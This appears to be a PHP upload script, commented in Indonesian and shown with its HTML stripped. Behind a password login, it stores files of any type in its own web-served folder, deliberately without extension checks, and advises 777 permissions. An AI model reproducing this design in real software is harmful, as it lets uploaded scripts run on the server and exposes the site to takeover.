ERROR: Folder Tidak Bisa Ditulis

Script tidak bisa menyimpan file di folder ini.
Lokasi: " . htmlspecialchars($upload_dir) . "

Silakan ubah permission folder ini menjadi 777 atau 755 lewat FTP/File Manager. "); } } // Mencegah diri sendiri (script uploader) ditimpa oleh file yang diupload // Jika seseorang mengupload file dengan nama yang sama dengan script ini, akan ditolak. if (isset($_FILES['file']['name'])) { $uploaded_name = basename($_FILES['file']['name']); if ($uploaded_name === $script_name) { die("

ERROR: Nama File Terlarang

Anda tidak boleh mengupload file yang memiliki nama sama dengan script uploader ini.
Silakan ganti nama file Anda.
"); } } // --------------------------------------------------------- // SESI & LOGIN // --------------------------------------------------------- session_start(); if (isset($_GET['logout'])) { session_destroy(); header("Location: $script_name"); exit; } if (!isset($_SESSION['authenticated'])) { if (isset($_POST['password']) && $_POST['password'] === $auth_pass) { session_regenerate_id(true); $_SESSION['authenticated'] = true; // Redirect ke diri sendiri untuk refresh halaman header("Location: $script_name"); exit; } else { // Tampilan Login echo ' Login Access

RESTRICTED AREA

' . (isset($_POST['password']) ? '

Password Salah!

' : '') . '
'; exit; } } // --------------------------------------------------------- // PROSES UPLOAD // --------------------------------------------------------- $message = ""; $messageType = ""; if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['file'])) { try { $file = $_FILES['file']; // 1. Cek Error Dasar if ($file['error'] !== UPLOAD_ERR_OK) { throw new Exception("Gagal upload (Kode Error: " . $file['error'] . ")."); } // 2. Cek Ukuran if ($file['size'] > $max_file_size) { throw new Exception("Ukuran file terlalu besar. Maksimal " . ($max_file_size / 1024 / 1024) . "MB."); } // 3. Sanitasi Nama File (Hanya bersihkan karakter aneh, JANGAN blok ekstensi) $file_name = $file['name']; // Hapus karakter yang bisa merusak path, tapi biarkan ekstensi apapun $file_name = preg_replace('/[^a-zA-Z0-9.\-_]/', '', $file_name); // Jika nama file kosong setelah sanitasi (misal nama file全是 simbol aneh) if (empty($file_name)) { $file_name = 'file_' . time() . '.dat'; } // 4. Handle Nama Ganda $destination = $upload_dir . '/' . $file_name; $counter = 1; $base_name = pathinfo($file_name, PATHINFO_FILENAME); $extension = pathinfo($file_name, PATHINFO_EXTENSION); // Jika tidak ada ekstensi, handle agar loop tidak error if (empty($extension)) { $extension = ""; } else { $extension = "." . $extension; } while (file_exists($destination)) { $file_name = $base_name . '_' . $counter . $extension; $destination = $upload_dir . '/' . $file_name; $counter++; } // 5. Pindahkan File if (!move_uploaded_file($file['tmp_name'], $destination)) { throw new Exception("Gagal memindahkan file. Permission folder mungkin tidak 777."); } // 6. Set Permissions (Biarkan 0644 agar aman, tapi bisa diakses) chmod($destination, 0644); $message = "Sukses! File " . htmlspecialchars($file_name) . " telah diupload."; $messageType = "success"; } catch (Exception $e) { $message = "Error: " . $e->getMessage(); $messageType = "error"; } } ?> Universal Uploader

Universal Uploader

Menerima semua tipe file.

Maksimal ukuran: MB
Lokasi penyimpanan: Folder script ini.